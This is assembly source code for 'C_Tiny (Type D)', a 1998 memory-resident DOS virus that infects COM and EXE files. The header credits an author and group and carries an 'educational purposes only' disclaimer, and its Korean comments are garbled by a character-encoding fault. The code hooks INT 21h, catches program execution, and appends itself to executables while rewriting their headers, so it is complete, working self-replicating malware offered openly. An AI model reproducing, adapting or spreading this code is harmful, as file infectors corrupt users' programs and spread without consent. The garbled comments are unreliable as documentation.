;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> ; ; \\\\\\\ \ \ \\\\\\\ ; C_Tiny (Type D) \ \ \ \ ; \ \ \ \ 98/05 ; \ \ \ \ ; \\\\\\\ \ \\\\\\\ #04 ; ; Virus Name : C_Tiny (Type D) ; Author : Crom ; Group : CVC ; Origin : Corea ; Date : 1998/05/02 ; Type : Memory resident COM/EXE ; ; !*< I >********************************************************! ; * * ; * w ! * ; * e aBⷥ ae awAᴡ sa. e * ; * i awЁ iae AA Ёᕡ i g * ; * sa. e e ii e aqAA sa. * ; * * ; * Warning ! * ; * This information is for educational purposes only. We are * ; * not responsible for any problems caused by the use of this * ; * information. Responsibility is entirely placed on the reader * ; * * ; !************************************************************************! ; ; eee w aa a B aA wea. (0020:0000) ; a BA waa aõ iae aQA áwⷩ a. aa ; aae a B a w 0 a ea. 0 aae ; wЁ a AA awa a. ; ; D we EXE a qqǩ a. šaa IVT ww aa eA ᷁ ; BbЁ e 300 aaa eAe a COM,EXE a qq ǩ a. ; ee aa awbe a COM/EXE qq aa a. ; ae a w e aa a A awe A ; i a Ё bЖa. ; ; C_Tiny (Type A) : A ; C_Tiny (Type B) : e Anti-Heuristic aw ; C_Tiny (Type C) : b ae w a (Anti-Heuristic) ; C_Tiny (Type D) : EXE a qq, 啡 a qq AA ; ; |a Anti-Heuristic i awae i aba C_Tiny e {a ea. ; ; Thanx : Dark Angel, TLN ; ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> .MODEL TINY .CODE .286 org 0h Mem_size equ offset End_Memory ; A a Vir_size equ offset End_virus ; A aa a EXE_ID equ 'CT' ; EXE a ia C_Tiny: db 0E8h, 0, 0 ; pop si ; aa b a sub si, 0003 ; push ds xor ax,ax ; ša Ai Ё |i a mov es,ax ; a. mov di, 0200h ; mov cx, Mem_size ; aa eq a push di Check_IVT_Zero: repz scasb ; 0000:0200 A aaaeq pop di ; e aea. jnz ChkCOMorEXEFile ; e ae w ͡ Copy_Vir_IVT: push si ; mov cx, Vir_size ; aa db 2Eh ; CS:SI -> ES:DI repz movsb ; aa bá -> 0000:0200 pop si ; SI = aa b push es ; pop ds ; DS=0000 mov di, offset End_Virus + 200h ; 200h e IVT t (0:200h) mov ax, offset NewInt21 ; a 21h aU xchg ax, ds:[0084h] stosw ; Aaa ew mov ax, 20h ; aa Aaae (0020h) ; aU 00xxh A AL A q xchg ax, ds:[0086h] stosw ; AX=ES:DI pop ds ; A wЖ DS chkCOMorEXEFile: add si, offset OldHeader ; SI = b + Aᯡb mov di,100h ; COM a a cmp word ptr DS:[DI],0E94Dh jnz Return_EXE Restore_COM_Head: push cs pop es push di ; i w movsw ; 4 aa movsw ; ret ; CS:100h Return_EXE: ; EXE push ds pop es mov ax,ds add ax,10h add word ptr cs:[si+2],ax ; jmp dword ptr cs:[si] ; OldHeader dw 0h ; COM | dw 0FFF0h ; aA 10h i ae 0 Ea. db 'C_TinyD' ; aa q lseek: mov ah,42h ; ͡ xor cx,cx cwd int 21h ret InfectEXE: push ax ; file size push dx push si mov si, offset FileBuffer+14h movsw movsw add ax, vir_size ; aa a adc dx,0 mov cx,200h ; / 512 div cx or dx,dx ; aỡa aea ? jz nohiccup inc ax nohiccup: pop si mov word ptr ds:[si+4],ax mov word ptr ds:[si+2],dx pop dx pop ax mov cx,10h ; div cx sub ax,ds:[si+8] mov di, offset FileBuffer + 12h push ax mov ax, EXE_ID stosw ; EXE_ID [DI+12h] xchg ax,dx stosw ; DI+14h -> IP pop ax stosw ; DI+16h -> CS jmp Write_Virus NewInt21: pusha ; 286 + A push ds push es xor ah,4Bh ; Зa ? jnz Error mov ax, 3D02h ; a i int 21h jc Error ; i A ? xchg ax,bx ; BX = aЅi push cs ; Aaa ɷ pop ds push cs pop es mov ah, 3Fh ; a mov cx, 18h ; aa mov dx, offset FileBuffer ; int 21h mov si, dx mov di, offset OldHeader mov al,2 ; a {a call lseek cmp byte ptr [SI+18h], '@'; 啡 aa ? jz Close cmp word ptr [SI+12h],EXE_ID ; EXE qqa a jz Close cmp word ptr [SI], 0E94Dh ; qqE COM a jz Close cmp word ptr [SI], 'ZM' ; EXE aa ? jz InfectEXE push si movsw ; COM Aᦁ w movsw pop di ; FileBuffer push ax mov ax, 0E94Dh ; qq ia + JMP stosw ; JMP -> FileBuffer pop ax sub ax,0004 ; stosw Write_Virus: mov ah, 40h ; aa a mov cx, offset Vir_size ; aa xor dx,dx ; aU int 21h xor al,al ; a qa call lseek mov ah, 40h ; | a mov cx, 18h ; aa mov dx, offset FileBuffer ; aU int 21h Close: mov ah, 3Eh ; a h int 21h Error: pop es pop ds popa Jmp_Org_Int21: db 0EAh ; --> aa aA w End_Virus: dw ?,? ; Old Int 21h FileBuffer db 18h dup (0) End_Memory: ; AA aa { á END C_Tiny